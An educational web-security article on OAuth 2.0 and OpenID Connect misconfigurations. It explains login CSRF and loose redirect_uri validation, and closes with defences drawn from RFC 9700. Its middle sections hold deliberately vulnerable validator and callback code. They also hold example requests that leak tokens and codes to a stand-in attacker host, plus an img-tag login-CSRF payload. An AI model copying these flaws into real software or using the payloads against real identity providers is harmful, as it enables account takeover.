OAuth and OpenID Connect Misconfiguration Attacks

OAuth and OpenID Connect Misconfiguration Attacks - article cover image Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

OAuth 2.0 and OpenID Connect (OIDC) are delegation protocols: OAuth lets a user grant a third-party application scoped access to their resources without sharing a password, and OIDC layers an identity assertion (the id_token) on top so applications can also authenticate the user. Both are everywhere — “Sign in with Google/Microsoft/GitHub” buttons, mobile app backends, and internal SSO are almost always one of these flows. The protocols are sound as specified, but the spec leaves many decisions — how strictly to validate a redirect URI, whether to require state, which flow to expose — to the implementer, and misconfiguring those decisions is extremely common.

Because the whole point of OAuth/OIDC is to hand an application a token proving who the user is, a misconfiguration rarely stays contained — it typically translates directly into account takeover. An attacker who redirects an authorization code or token to a server they control, or who forces a victim’s browser to complete a login flow bound to the attacker’s account, walks away with a valid session as the victim. These bugs are also disproportionately common in bug bounty programs because every “Login with X” integration re-implements the same trust decisions, and one loose regex breaks the whole flow.

Attack Prerequisites

Most OAuth/OIDC misconfiguration attacks need one of the following at the client or authorization server:

  • Redirect URI validation that is not an exact match — prefix or substring matching, path-only validation ignoring the domain, or an open redirect on the client’s own allowlisted domain that redirect_uri can be pointed at.
  • Missing or unvalidated state, which normally binds the authorization response to the browser session that started the flow and provides CSRF protection on the callback.
  • Use of the implicit or hybrid flow (response_type=token/id_token token), putting tokens directly in the URL fragment where they leak via browser history, Referer headers, and any open redirect.
  • No PKCE on public clients (SPAs, mobile apps), which normally stops a stolen authorization code from being redeemed by anyone but the party that started the flow.
  • Missing aud/iss/nonce/signature validation of the id_token, or acceptance of unsigned (alg: none) or weakly-keyed JWTs.

How It Works

The authorization-code flow is a three-party handoff: the client redirects the browser to the authorization server with a redirect_uri and a random state; the user authenticates and consents; the authorization server redirects back with a short-lived code and the same state; the client’s backend exchanges the code for tokens directly (out of the browser’s reach) and checks the returned state. Every step is a target: redirect_uri decides *where* the sensitive code or token ends up, state decides whether the browser receiving the callback is provably the one that started the flow, and the token exchange decides whether an intercepted code can actually be redeemed.

Redirect URI validation is the highest-value target because authorization servers typically allow some flexibility (multiple paths, query strings) and developers often implement that as a prefix or substring check instead of an exact match. A validator that accepts values *starting with* https://app.example.com will also accept https://app.example.com.attacker.com (a different origin) or https://app.example.com/oauth/callback?next=https://attacker.com if the callback itself has an open redirect via next. Whatever redirect_uri passes validation receives the code or token instead of, or in addition to, the legitimate client.

Missing state turns the callback into a CSRF target: an attacker starts their own authorization flow to obtain a valid code for *their own* account, then feeds that code to the victim’s browser via an image tag or auto-submitting form pointed at the client’s callback URL. Without a state check, the client exchanges the attacker’s code and logs the victim into the attacker’s account — session fixation that, depending on how accounts are linked, pivots into account takeover once the victim adds data (e.g. a payment method) to that account.

Vulnerable Code / Configuration

The most common bug: a redirect URI validator using a loose prefix check instead of an exact, allowlisted comparison.

# VULNERABLE: startswith() lets an attacker append anything after the
# registered prefix, including a full attacker-controlled origin.
REGISTERED_PREFIX = "https://app.example.com"

def validate_redirect_uri(redirect_uri):
    return redirect_uri.startswith(REGISTERED_PREFIX)

# Passes validation: https://app.example.com.attacker.com/cb
Python

A second common bug: the callback handler trusts whatever code arrives with no state verification:

// VULNERABLE Express OAuth callback: no state check against session.
app.get('/oauth/callback', async (req, res) => {
  const { code } = req.query;
  // BUG: req.query.state is never compared to a value stored before
  // the redirect, so any code from any flow gets exchanged.
  const tokens = await exchangeCodeForTokens(code);
  const profile = await fetchUserProfile(tokens.access_token);
  req.session.user = profile;
  res.redirect('/dashboard');
});
JavaScript

A third, OIDC-specific bug: decoding id_token without verifying its signature, issuer, or audience:

// VULNERABLE: jwt.decode() only base64-decodes; it does NOT verify the
// signature/issuer/audience/expiry. Should be jwt.verify(id_token, jwks,
// { issuer, audience, algorithms: ['RS256'] }).
const claims = jwt.decode(id_token);
req.session.user = claims.email;
JavaScript

Walkthrough / Exploitation

Abuse a loose redirect URI against an implicit-flow client to exfiltrate a token directly:

GET /authorize?client_id=abc123
  &redirect_uri=https://app.example.com.attacker.com/cb
  &response_type=token&scope=openid%20profile%20email&state=xyz HTTP/1.1
Host: auth.example.com

HTTP/1.1 302 Found
Location: https://app.example.com.attacker.com/cb#access_token=eyJhbGci...
HTTP

Where redirect_uri is strictly validated but the client’s own domain has an open redirect, chain through it — the authorization server sees a fully valid, registered URI:

GET /authorize?client_id=abc123
  &redirect_uri=https://app.example.com/oauth/callback%3Fnext%3Dhttps://attacker.com/steal
  &response_type=code&state=xyz HTTP/1.1
Host: auth.example.com
HTTP

For login-CSRF against a client missing state validation, first authenticate as the attacker to obtain a valid code, then serve that exact callback URL to the victim so their browser logs into the attacker’s account:

<!-- Victim just needs an active session with the client app. -->
<img src="https://app.example.com/oauth/callback?code=ATTACKER_OWN_CODE&state=">
HTML

Burp Suite’s Repeater is the standard way to enumerate redirect_uri validation — systematically trying exact host swaps, subdomain suffixes, userinfo (@) tricks, and encoding variations against /authorize while watching whether a code/token is issued to each variant.

Note: PKCE (code_challenge/code_verifier, RFC 7636) closes code interception even when a redirect_uri is briefly exposed, because redeeming the code requires the original random verifier. Its absence on public clients that cannot keep a secret is one of the highest-signal misconfiguration findings to check for.

Opsec: Never complete an OAuth flow against a real third-party IdP using a victim account or in a way that could authenticate as someone else — use dedicated test accounts on both sides, and scope any redirect-capture infrastructure to the engagement window.

Detection and Defense

Nearly every misconfiguration traces back to one of a few validation gaps:

  • Exact-match redirect_uri validation against a pre-registered allowlist — no prefix, substring, or wildcard matching.
  • Require and verify state, bound to the user’s pre-flow session, to prevent login CSRF.
  • Require PKCE for all clients, per RFC 9700’s recommendation, which also deprecates the implicit flow.
  • Use the authorization-code flow with PKCE instead of implicit/hybrid so tokens never transit the URL bar or Referer headers.
  • Fully validate id_tokens — signature against the issuer’s JWKS, plus iss, aud, exp, and nonce.
  • Audit client-hosted open redirects — a strictly matched redirect_uri is still exploitable if the endpoint forwards elsewhere.

Authorization servers should alert on unusually high rates of rejected redirect_uri values (active probing), and relying parties should alert on id_token verification failures rather than falling back to unverified decoding.

Real-World Impact

Loose redirect_uri validation and missing state have been recurring, independently rediscovered bug classes across major OAuth-consuming platforms, frequently reported through bug bounty programs, and are explicitly addressed by the IETF’s OAuth 2.0 Security Best Current Practice (RFC 9700), which formalizes exact-match redirect validation, mandatory PKCE, and deprecation of the implicit grant. Because the bug sits at the identity boundary, a single confirmed bypass is routinely rated Critical, since it converts directly into account takeover.

Conclusion

OAuth and OIDC misconfigurations are trust-boundary bugs: the protocol’s security model assumes exact redirect matching, unforgeable state, and verified tokens, and any implementation that loosens one for convenience reopens the door to account takeover. The durable fix is exact-match allowlists, mandatory state and PKCE, and full cryptographic verification of every token, applied consistently across every integration.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL